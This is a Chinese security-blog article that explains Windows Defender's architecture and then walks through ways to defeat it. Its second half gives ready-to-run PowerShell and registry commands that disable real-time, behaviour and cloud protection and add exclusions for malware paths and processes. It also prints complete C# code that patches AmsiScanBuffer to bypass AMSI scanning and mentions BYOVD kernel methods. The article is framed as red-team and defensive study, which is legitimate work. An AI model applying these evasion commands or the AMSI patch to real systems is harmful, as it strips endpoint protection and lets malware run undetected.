WindowsDefender对抗——攻破Windows内置防线

admin 2026-03-20 07:37:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细剖析WindowsDefender的架构、实时保护、云保护、篡改保护等核心机制,并系统介绍对抗技术包括禁用实时保护、添加排除项、终止进程、PatchAMSI等方法,为攻防双方提供深度技术参考。 综合评分: 85 文章分类: 终端安全,免杀,红队,内网渗透,恶意软件


cover_image

Windows Defender对抗——攻破Windows内置防线

原创

pandazhengzheng pandazhengzheng

安全分析与研究

2026年3月19日 08:31 广东

一、前言概述

Windows Defender(现称Microsoft Defender Antivirus)是Windows系统内置的反恶意软件解决方案,随着Windows 10的普及,它已成为最广泛部署的终端安全产品之一。

对于攻击者而言,Windows Defender往往是需要面对的第一道防线;对于防御者而言,理解Windows Defender的工作机制和潜在弱点,有助于更好地保护系统安全。

本文将深入分析Windows Defender的架构、保护机制,以及对抗技术,通过学习,读者将理解如何评估Windows Defender的安全性,以及如何构建更有效的防御措施。

二、相关内容

2.1 Windows Defender架构分析

2.1.1 组件架构

Windows Defender采用多层架构设计,从用户界面到内核层都有相应的组件:

用户界面层

  • Windows Security应用
  • 提供图形化管理界面
  • 显示保护状态和威胁历史

服务层

  • WinDefend Service(主服务)
  • MsMpEng.exe(主进程)
  • MpSvc.dll(服务DLL)
  • 执行扫描和检测逻辑

驱动层

  • WdFilter.sys(文件系统过滤驱动)
  • 监控文件操作
  • 实时保护核心

内核层

  • WdBoot.sys(启动驱动)
  • 早期启动保护
  • 内核完整性保护

2.1.2 关键进程

MsMpEng.exe

  • 主服务进程
  • 执行扫描和检测
  • 运行在SYSTEM权限
  • 占用较多系统资源

MpCmdRun.exe

  • 命令行工具
  • 手动扫描和更新
  • 用户态进程

NisSrv.exe

  • 网络检测服务
  • 网络流量监控
  • 入侵检测功能

2.1.3 关键驱动

WdFilter.sys

  • 文件系统过滤驱动
  • 监控文件操作
  • 实时保护核心
  • 拦截恶意文件访问

WdBoot.sys

  • 启动驱动
  • 早期启动保护
  • 内核完整性保护
  • 防止内核被篡改

2.2 实时保护机制

2.2.1 保护功能

1. 实时保护(Real-time Protection)

  • 文件访问监控
  • 进程行为监控
  • 注册表监控
  • 行为启发式检测

2. 云保护(Cloud-delivered Protection)

  • 快速样本提交
  • 云端深度分析
  • 威胁情报更新
  • 零日威胁防护

3. 自动样本提交(Automatic Sample Submission)

  • 可疑文件自动上传
  • 帮助改进检测
  • 可配置提交策略

4. 篡改保护(Tamper Protection)

  • 防止禁用保护
  • 防止修改设置
  • 防止终止进程
  • 内核层实现

2.2.2 检测技术

文件扫描

  • 签名匹配:已知威胁特征
  • 启发式分析:可疑行为模式
  • 沙箱分析:动态行为检测

行为监控

  • 进程注入检测
  • 注册表修改监控
  • 网络连接监控
  • 异常行为识别

AMSI集成

  • PowerShell脚本扫描
  • VBS脚本扫描
  • .NET程序集扫描
  • JavaScript代码扫描

2.3 云端保护与样本提交

2.3.1 云保护工作流程

本地检测 → 云端查询 → 返回结果
    ↓           ↓
样本提交 → 深度分析 → 威胁情报更新

工作流程详解:

  1. 本地初步检测
  • 快速签名匹配
  • 启发式分析
  • 行为检测
  1. 云端查询
  • 文件哈希查询
  • 威胁情报匹配
  • 快速响应
  1. 样本提交
  • 可疑文件上传
  • 元数据收集
  • 隐私保护
  1. 深度分析
  • 沙箱执行
  • 行为分析
  • 机器学习

2.3.2 云保护配置

# 查看云保护状态
Get-MpPreference | Select-Object MAPSReporting

# 启用云保护
Set-MpPreference -MAPSReporting 2

# 禁用云保护(需要关闭篡改保护)
Set-MpPreference -MAPSReporting 0

2.3.3 样本提交配置

# 查看样本提交设置
Get-MpPreference | Select-Object SubmitSamplesConsent

# 禁用自动样本提交
Set-MpPreference -SubmitSamplesConsent 2

2.4 篡改保护机制

2.4.1 篡改保护功能

篡改保护是Windows Defender的重要安全特性,防止攻击者禁用或修改保护设置。

保护范围:

  • 实时保护开关
  • 云保护开关
  • 自动样本提交
  • 排除项设置
  • 进程终止

实现层次:

  • 内核层实现
  • WdBoot.sys驱动
  • 难以从用户态绕过

2.4.2 篡改保护状态

# 查看篡改保护状态
Get-MpComputerStatus | Select-Object IsTamperProtected

# 启用篡改保护(需要通过组策略或注册表)
# 注册表路径:
# HKLM\Software\Microsoft\Windows Defender\Features
# 值:TamperProtection = 1 (启用) / 0 (禁用)

2.4.3 绕过篡改保护

篡改保护在内核层实现,绕过难度较大:

1. BYOVD方法

  • 加载漏洞驱动
  • 在内核层修改配置
  • 需要管理员权限

2. 早期启动

  • 在WdBoot.sys加载前操作
  • 需要物理访问或启动修改
  • 实现复杂

3. 合法途径

  • 使用组策略(需要域管理员)
  • 使用注册表(需要先禁用篡改保护)
  • 需要特定权限

2.5 Windows Defender对抗技术

2.5.1 禁用实时保护

方法1:PowerShell命令(需要管理员权限且篡改保护关闭)

# 禁用实时保护
Set-MpPreference -DisableRealtimeMonitoring $true

# 禁用所有保护
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true

方法2:注册表修改

# 禁用实时保护
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" -Name "DisableRealtimeMonitoring" -Value 1 -Force

方法3:组策略

路径:计算机配置 -> 管理模板 -> Windows组件 -> Microsoft Defender防病毒 -> 实时保护
设置:关闭实时保护 -> 已启用

2.5.2 添加排除项

# 添加路径排除
Add-MpPreference -ExclusionPath "C:\MaliciousFolder"

# 添加扩展名排除
Add-MpPreference -ExclusionExtension ".evil"

# 添加进程排除
Add-MpPreference -ExclusionProcess "malware.exe"

2.5.3 终止Windows Defender进程

用户态方法(通常被阻止):

# 尝试终止进程(通常失败)
Stop-Process -Name "MsMpEng" -Force

内核态方法(BYOVD):

使用漏洞驱动在内核层终止进程。

2.5.4 Patch AMSI

// C#示例:Patch AMSI
using System;
using System.Runtime.InteropServices;

publicclass AMSIPatch
{
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Patch()
    {
        IntPtr amsi = LoadLibrary("amsi.dll");
        IntPtr addr = GetProcAddress(amsi, "AmsiScanBuffer");

        uint oldProtect;
        VirtualProtect(addr, (UIntPtr)3, 0x40, out oldProtect);

        byte[] patch = { 0x31, 0xC0, 0xC3 }; // xor eax, eax; ret
        Marshal.Copy(patch, 0, addr, 3);

        VirtualProtect(addr, (UIntPtr)3, oldProtect, out oldProtect);
    }
}

2.6 实战工具:WinDefenderKiller


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全分析与研究 pandazhengzheng pandazhengzheng《Windows Defender对抗——攻破Windows内置防线》

评论:0   参与:  0